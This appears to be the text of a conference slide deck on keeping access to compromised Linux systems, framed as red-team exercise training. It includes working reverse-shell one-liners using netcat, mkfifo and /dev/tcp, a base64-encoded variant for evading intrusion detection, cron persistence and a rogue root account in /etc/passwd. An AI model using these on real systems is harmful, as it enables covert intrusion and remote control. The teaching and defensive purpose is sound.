Popping the Penguin
Basic methods for maintaining access in compromised Linux systems
Me

Junior security consultant with VioPoint

Former Linux engineer

Twitter
@b31tf4c3

Freenode (#misec / #burbsec)
Beltface
Why are we here?

Esotericism

Blue Team to Purple

Effectiveness

Paranoia
Abuse v. Use case

Use case – controls based, create value

Abuse case – threat based, protect value

- J Wolfgang Goerlich
Attack Paths

There are scores of different threat modeling techniques and tools.

Do what fits your industry, organization, your team, your skills.
Do what is right for you. But do something.
Sysadmins

Detect

We took the hostages, secured the building, and cut the communication lines like you said.

Excellent.

Prevent

But then this guy climbed up the ventilation ducts and walked across broken glass, killing anyone we sent to stop him.

And he rescued the hostages?

Correct

No, he ignored them. He just reconnected the cables we cut, muttering something about "uptime".

Shit, we're dealing with a sysadmin.
Sysadmins

Detect – catch attackers in action
Prevent – stop attackers
Correct – raise the costs by disrupting or distracting the attackers
Hackers

Goals can vary

Generally cool people

Known wearers of ski masks
Hackers

1. External reconnaissance
2. Initial breach
3. Escalate privileges
4. Persistence
5. Internal reconnaissance
6. Lateral breach
7. Maintain presence
8. Achieve objective
Attack paths
1. External reconnaissance
2. Initial breach
3. Escalate privileges
4. Persistence
5. Internal reconnaissance
6. Lateral breach
7. Maintain presence
8. Achieve objective

Don't take stuff so seriously, remember... You are here.
What?

**Exercise**
- Use real techniques
- Use real objectives
- Model a real attack
- Test specific controls

**Assessment**
- Use real techniques
- Use real objectives
- Exec an actual attack
- Test overall posture
What makes a good exercise?
Effective red team exercises focus on high probability abuse cases.
We’re in
Select a specific stage in the attack path
Assume all prior controls have failed
Test preventative, detective, corrective
Test both the controls and the response
The fun part
Messages

Sep 9 10:58:37 losalamos systemd[1]: Starting OpenSSH server daemon...
Sep 9 10:58:37 losalamos systemd[1]: Started OpenSSH server daemon.
Sep 9 10:58:50 losalamos systemd-logind[684]: New session 3 of user belface.
Sep 9 10:58:54 losalamos dbus-daemon[697]: dbus[697]: [system] Activating service name='net.reactivated.Fprint' (user interface)
Sep 9 10:58:54 losalamos dbus-daemon[697]: dbus[697]: [system] Successfully activated service 'net.reactivated.Fprint'
Sep 9 10:58:54 losalamos dbus-daemon[697]: dbus[697]: [system] Activating service name='net.reactivated.Fprint' (user interface)
Sep 9 10:58:54 losalamos dbus-daemon[697]: dbus[697]: [system] Successfully activated service 'net.reactivated.Fprint'
Sep 9 11:01:38 losalamos rsyslogd: [origin software="rsyslogd" swVersion="7.2.4" x-pid="696" x-instance="1"] action "*" treated as ':omusrmsg:*' - please change syntax
Sep 9 11:01:38 losalamos rsyslogd: [origin software="rsyslogd" swVersion="7.2.4" x-pid="2589" x-instance="1"] action "*" treated as ':omusrmsg:*' - please change syntax
Sep 9 11:01:38 losalamos belface: root [2207]: service rsyslog restart [0]
Sep 9 11:01:38 losalamos systemd[1]: Stopping System Logging Service...
Sep 9 11:01:38 losalamos systemd[1]: Stopping System Logging Service...
Sep 9 11:01:38 losalamos systemd[1]: Starting System Logging Service...
Sep 9 11:01:38 losalamos systemd[1]: Started System Logging Service.
Sep 9 11:01:42 losalamos belface: root [2207]: ps aux [0]
Sep 9 11:01:47 losalamos belface: root [2207]: tail /var/log/messages [0]
Sep 9 11:01:58 losalamos belface: root [2207]: clear [0]
Sep 9 11:02:01 losalamos belface: belface [2114]: sudo su - [0]
Sep 9 11:02:10 losalamos belface: belface [2114]: ls [0]
Sep 9 11:02:17 losalamos belface: belface [2114]: sudo tail /var/log/messages [1]
Sep 9 11:02:54 losalamos systemd[1]: Stopping System Logging Service...
Sep 9 11:02:54 losalamos rsyslogd: [origin software="rsyslogd" swVersion="7.2.4" x-pid="2589" x-instance="1"] action "*" treated as ':omusrmsg:*' - please change syntax
Sep 9 11:02:54 losalamos rsyslogd: [origin software="rsyslogd" swVersion="7.2.4" x-pid="2739" x-instance="1"] action "*" treated as ':omusrmsg:*' - please change syntax
Sep 9 11:02:54 losalamos systemd[1]: Started System Logging Service.
Sep 9 11:03:08 losalamos rsyslogd: [origin software="rsyslogd" swVersion="7.2.4" x-pid="2739" x-instance="1"] action "*" treated as ':omusrmsg:*' - please change syntax
Sep 9 11:03:08 losalamos systemd[1]: Starting System Logging Service...
Sep 9 11:03:08 losalamos systemd[1]: Started System Logging Service.
Sep 9 11:03:08 losalamos systemd[1]: Stopping System Logging Service...
Sep 9 11:03:40 losalamos systemd-tmpfiles[2894]: stat(/run/user/1000/gvfs) failed: Permission denied
Sep 9 11:03:40 losalamos systemd[1]: Started Cleanup of Temporary Directories.
Secure

[root@losalamos ~]# more /var/log/secure

Sep 9 10:34:37 losalamos sshd[18141]: Accepted password for beltface from 172.16...
Sep 9 10:34:37 losalamos sshd[18141]: pam_unix(sshd:session): session opened for user beltface
Sep 9 10:45:21 losalamos sshd[18271]: Accepted password for beltface from 172.16...
Sep 9 10:45:21 losalamos sshd[18271]: pam_unix(sshd:session): session opened for user beltface
Sep 9 10:45:26 losalamos unix_chkpwd[18337]: password check failed for user (bel...
Sep 9 10:45:26 losalamos sudo: pam_unix(sudo:auth): authentication failure; login=...
Sep 9 10:45:30 losalamos sudo: beltface: TTY=pts/2; PWD=/home/beltface; USER=...
Sep 9 10:45:30 losalamos su: pam_unix(su-1:session): session opened for user root
Sep 9 10:48:56 losalamos polkitd[743]: Loading rules from directory /etc/polkit-...
Sep 9 10:48:57 losalamos polkitd[743]: Loading rules from directory /usr/share/po...
Sep 9 10:48:57 losalamos polkitd[743]: Finished loading, compiling and executing...
Sep 9 10:48:57 losalamos polkitd[743]: Acquired the name org.freedesktop.PolicyK...
Sep 9 10:49:02 losalamos gdm-launch-environment][920]: pam_unix(gdm-launch-environm...
Sep 9 10:49:14 losalamos polkitd[743]: Registered Authentication Agent for unix-
Sep 9 10:57:38 losalamos gdm-password][1439]: pam_unix(gdm-password:session): se...
Sep 9 10:57:38 losalamos gdm-launch-environment][920]: pam_unix(gdm-launch-environm...
Sep 9 10:57:38 losalamos polkitd[743]: Unregistered Authentication Agent for unix-
Sep 9 10:57:45 losalamos polkitd[743]: Registered Authentication Agent for unix-
Sep 9 10:58:17 losalamos sudo: beltface: TTY=pts/0; PWD=/home/beltface; USER=...
Sep 9 10:58:17 losalamos su: pam_unix(su-1:session): session opened for user root
Sep 9 10:58:37 losalamos sshd[2102]: Server listening on 0.0.0.0 port 22.
Sep 9 10:58:37 losalamos sshd[2102]: Server listening on :: port 22.
Sep 9 10:58:50 losalamos sshd[2109]: Accepted password for beltface from 172.16.
Sep 9 10:58:50 losalamos sshd[2109]: pam_unix(sshd:session): session opened for user root
Sep 9 10:58:56 losalamos sudo: beltface: TTY=pts/1; PWD=/home/beltface; USER=...
Sep 9 10:58:56 losalamos su: pam_unix(su-1:session): session opened for user root
Logs: Log shipping

Rsyslog/syslog-ng
Central repo
SIEM
Logs: Event Correlation and Mitigation

IBTL

We don’t know what the hell you’re on, but you’re not going to be on it for long.
User accounts: Going Rogue

/etc/passwd

/etc/shadow
User accounts: the files

Password: ********
User accounts: /etc/passwd & shadow

mkikta : o : o : derp : /root : /bin/bash

pwconv –R /
User accounts: mitigation
User accounts: mitigation
Remote Shells

From this:

You → nc -l 4242 → nc [ip] [port] → Popped Box → /bin/bash → /dev/hda

To...
You

base64

in

While true

Cat in

nc -l 4242

...this

/dev/tcp

Popped Box
cat

while

read line

base64 -d

/bin/bash

&5

base64

/bin/bash
Netcat

Connect to open port
Open listening port
Port scans
Tunneling
Banner grabbing
...

![Netcat Image]
Listening ports
Listening ports

Popped box - nc -l 4242 (-v)

Attacker’s box - nc [popped ip] [port] (-v)
Reverse connections

Attackers box - nc –l [port]

Popped box - nc [your IP] [port]
But why?
Method 1: & (daemons)

#connect.sh &
Method 2: Crontab

/var/spool/cron/crontabs (user-specific)

/etc/crontab (system wide)
Method 2: Crontab (syntax)

<table>
<thead>
<tr>
<th>Minute</th>
<th>Hour</th>
<th>Day of Month</th>
<th>Month</th>
<th>Day of Week</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>2</td>
<td>12</td>
<td>*</td>
<td>0,6</td>
<td>reboot</td>
</tr>
</tbody>
</table>
Method 2: Crontab (syntax)
What’s the point of all this?
I/O redirection

Bash
-Bourne Again SHell

Flow based programs
I/O redirection: output
I/O redirection: output

2 >
I/O redirection: output

& >
I/O redirection: the pipe
I/O redirection: input
I/O redirection: identifying files

exec 5<> [file]
I/O redirection: using IDs

> & 5
I/O redirection: the not so basic

mkfifo awesome
I/O redirection: execution

$ mkfifo /dev/hda
$ nc [your ip] [port] </dev/hda | /bin/bash &>/dev/hda

You
nc -l 4242
nc [ip] [port]
Popped Box
/bin/bash
/dev/hda
/dev/tcp
/dev/tcp – the command

cmd: exec 5<> /dev/tcp/[ip]/[port]; cat <&5 | while read line; do $line 2>&5 >&5; done
/dev/tcp – initiation

exec

exec /dev/tcp/[ip]/[port]

exec 5<> /dev/tcp/[ip]/[port]
/dev/tcp – execution

cat <&5

while read line; do $line; done

2>&5

>&5

>&5

```
cat <&5 | while read line; do $line 2>&5 >&5; done
```
You nc -l 4242

Popped Box
cat while read line
$line

You nc -l 4242

nc [ip] [port]
Popped Box
/bin/bash
/dev/hda

You nc -l 4242

/dev/tcp

Popped Box
/bin/bash
/dev/hda

You nc -l 4242

/dev/tcp (&5)
Popped Box
cat while read line
$line

You nc -l 4242

/dev/tcp – the flow
nc -l 4242 -v
Ncat: Version 6.01 (http://nmap.org/ncat)
Ncat: Listening on :::4242
Ncat: Listening on 0.0.0.0:4242
Ncat: Connection from 5 125.
Ncat: Connection from 5 125:37452.
uname -a
Linux linux-q6sr.auditnet.com 3.7.10-1.11-default #1 SMP 
UP TC x86_64 x86_64 x86_64 GNU/Linux
ifconfig eth0
Link encap:Ethernet HWaddr 00:0C:29:89:07:0C
inet addr:192.168.8 Bcast:255.255.255.0 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe89:/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:7354310 errors:0 dropped:64 overruns:0 frame:0
TX packets:4403734 errors:0 dropped:0 overruns:0 carrier:0
 collisions:0 txqueuelen:1000
RX bytes:1222247901 (1165.6 Mb) TX bytes:1177147523 (1122.6 Mb)
lo
Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:245842 errors:0 dropped:0 overruns:0 frame:0
TX packets:245842 errors:0 dropped:0 overruns:0 carrier:0
 collisions:0 txqueuelen:0
Almost there!
Better IDS/IPS evasion

Encoded commands

Base64
IDS/IPS evasion: base64 (listener)

mkfifo in; while true; do cat in; done | nc –l 4242 | base64 –d &
cho “$command” | base64 > in
exec 5<> /dev/tcp/[ip]/[port];
cat <&5 | while read line; do echo "$line" | base64 -d | bash | base64 2>&5 >&5; done
Reverse shell: mitigation

Stateful packet inspection

Configuration control

Awareness
Wrapping it all up: Mitigation
Wrapping it all up: Mitigation
Do what is right for you.
But do something.
Resources

http://www.gnucitizen.org/blog/reverse-shell-with-bash/

All the awesome members of #misec, #burbsec, and the hacker community at large

http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/